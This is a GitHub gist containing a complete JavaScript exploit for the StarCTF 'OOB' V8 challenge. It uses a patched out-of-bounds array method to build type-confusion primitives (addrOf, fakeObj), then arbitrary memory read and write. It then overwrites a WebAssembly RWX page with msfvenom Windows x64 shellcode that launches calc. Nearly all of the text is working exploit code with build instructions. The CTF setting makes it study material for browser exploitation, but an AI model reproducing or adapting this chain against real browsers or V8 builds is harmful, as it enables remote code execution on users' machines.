Skip to content

Instantly share code, notes, and snippets.

@xct
Last active July 30, 2022 17:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xct/795216846c75c625fc10bf10d23982e6 to your computer and use it in GitHub Desktop.
Save xct/795216846c75c625fc10bf10d23982e6 to your computer and use it in GitHub Desktop.
StarCTF OOB v8 Exploit
/*
StarCTF OOB v8 Exploit
Author: @xct_de
Desc: Exploit for OOB Read/Write via custom patch on chromium from StarCTF. Heavily based on the writeups linked in resources.
Resources:
- https://ctftime.org/task/8393
- https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
- https://www.youtube.com/watch?v=Uyrv2F6wI-E&t=3328s
Compile (both debug & release of v8/d8 are required):
- Install Visual Studio Community 2017
- Follow https://chromium.googlesource.com/chromium/src/+/HEAD/docs/windows_build_instructions.md
- python -m pip install pypiwin32
- mkdir E:\src\v8src
- cd E:\src\v8src
- fetch v8; cd v8
- git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
- gclient sync
- Manually apply oob.diff from task
- gn gen out/v8 --args="is_debug = false"
- autoninja -C out\v8 v8; autoninja -C out\v8 d8
- gn gen out/v8debug --args="is_debug = true"
- autoninja -C out\v8debug v8; autoninja -C out\v8debug d8
*/
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
// float to int
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
// int to float
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// temp object
var tempObj = {'a':'b'};
// array of floats
var floatArr = [1.1,1.2,1.3,1.4];
// array of obj
var objArr = [tempObj];
// get map ptr via oob access
var floatArrMap = floatArr.oob();
var objArrMap = objArr.oob();
// leak an objects address via type confusion (array of objects vs. array of floats)
function addrOf(obj){
// put address of obj in elements (position 3 after map and len)
objArr[0] = obj;
// swap array of object map with float map allowing future access as floats
objArr.oob(floatArrMap);
// get the value at position as float (but its really the objects address)
let addr = objArr[0];
// restore original map
objArr.oob(objArrMap);
return ftoi(addr);
}
// access a float (address) as an object via type confusion
function fakeObj(addr){
// store addr as float
floatArr[0] = itof(addr);
// swap map with obj map to allow access as obj
floatArr.oob(objArrMap);
let fakeObj = floatArr[0];
// restore
floatArr.oob(floatArrMap);
return fakeObj;
}
// 1. we create an JSArray obj inside the float array and can set its map/properties/elementes pointers
// 2. we can point elements to whatever memory we like and then read/write there via accessing the float array by index
var rwArr = [floatArrMap, 1.2, 1.3, 1.4];
function arbRead(addr){
// pointer tagging (we need to add 1 if not 1 at the end already)
if(addr % 2n == 0){
addr += 1n;
}
// we get an object handle to the rwArr
let fake = fakeObj(addrOf(rwArr)-0x20n); // 0x20 * because we go back 4*8 in memory to reach the first element of the original array
// by accessing the 2nd element we can write the elements ptr (first is map, 2nd is properties)
rwArr[2] = itof(BigInt(addr)-0x10n); // 0x10 because we would read addr+10 (it reads at 3*8 location because map and props preceed it)
// we return the first element of the elements (which we set to an arb address, so this is an arb read)
return ftoi(fake[0])
}
function arbWrite(addr, val){
// pointer tagging (we need to add 1 if not 1 at the end already)
if(addr % 2n == 0){
addr += 1n;
}
// we get an object handle to the rwArr
let fake = fakeObj(addrOf(rwArr)-0x20n); // 0x20 * because we go back 4*8 in memory to reach the first element of the original array
// by accessing the 2nd element we can write the elements ptr (first is map, 2nd is properties)
rwArr[2] = itof(BigInt(addr)-0x10n); // 0x10 because we would read addr+10 (it reads at 3*8 location because map and props preceed it)
// write to fake[0]
fake[0] = itof(BigInt(val))
}
// WebAssembly method to get RWX Page & execute shellcode (for initial sc use https://wasdk.github.io/WasmFiddle/)
/*
int main() {
char* x = "w00tw00t";;
return (int)x;
}
*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,131,128,128,128,0,2,0,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,152,128,128,128,0,3,6,109,101,109,111,114,121,2,0,4,116,101,115,116,0,0,4,109,97,105,110,0,1,10,147,128,128,128,0,2,132,128,128,128,0,0,65,16,11,132,128,128,128,0,0,65,16,11,11,143,128,128,128,0,1,0,65,16,11,9,119,48,48,116,119,48,48,116,0]);
var wasmMod = new WebAssembly.Module(wasmCode);
var wasmInst = new WebAssembly.Instance(wasmMod);
var f = wasmInst.exports.main;
// finding the address of wasm_instance (static offset, depends on chrome version?)
var wasmPage = arbRead(addrOf(wasmInst)-1n+0x88n)
console.log("[>] Wasm Page: 0x" + wasmPage.toString(16));
// msfvenom -p windows/x64/exec -f dword CMD='calc' , prefix with nops because it does not call the start perfectly
var sc = new Uint32Array([
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090,
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090,
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090,
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090,
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090,
0xe48348fc, 0x00c0e8f0, 0x51410000, 0x51525041, 0xd2314856, 0x528b4865, 0x528b4860, 0x528b4818,
0x728b4820, 0xb70f4850, 0x314d4a4a, 0xc03148c9, 0x7c613cac, 0x41202c02, 0x410dc9c1, 0xede2c101,
0x48514152, 0x8b20528b, 0x01483c42, 0x88808bd0, 0x48000000, 0x6774c085, 0x50d00148, 0x4418488b,
0x4920408b, 0x56e3d001, 0x41c9ff48, 0x4888348b, 0x314dd601, 0xc03148c9, 0xc9c141ac, 0xc101410d,
0xf175e038, 0x244c034c, 0xd1394508, 0x4458d875, 0x4924408b, 0x4166d001, 0x44480c8b, 0x491c408b,
0x8b41d001, 0x01488804, 0x415841d0, 0x5a595e58, 0x59415841, 0x83485a41, 0x524120ec, 0x4158e0ff,
0x8b485a59, 0xff57e912, 0x485dffff, 0x000001ba, 0x00000000, 0x8d8d4800, 0x00000101, 0x8b31ba41,
0xd5ff876f, 0xa2b5f0bb, 0xa6ba4156, 0xff9dbd95, 0xc48348d5, 0x7c063c28, 0xe0fb800a, 0x47bb0575,
0x6a6f7213, 0x89415900, 0x63d5ffda, 0x00636c61
]);
// copy shellcode over the initial
let arrayBuf = new ArrayBuffer(0x200);
let dataview = new DataView(arrayBuf);
let bufAddr = addrOf(arrayBuf);
let backingStoreAddr = bufAddr+BigInt(0x20);
arbWrite(BigInt(backingStoreAddr), BigInt(wasmPage));
for (let i=0; i<sc.length;i+=2){
dataview.setUint32(4*(i+1), sc[i+1], true);
dataview.setUint32(4*i, sc[i], true);
}
// finally run shellcode
console.log("[>] Calling shellcode");
f();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment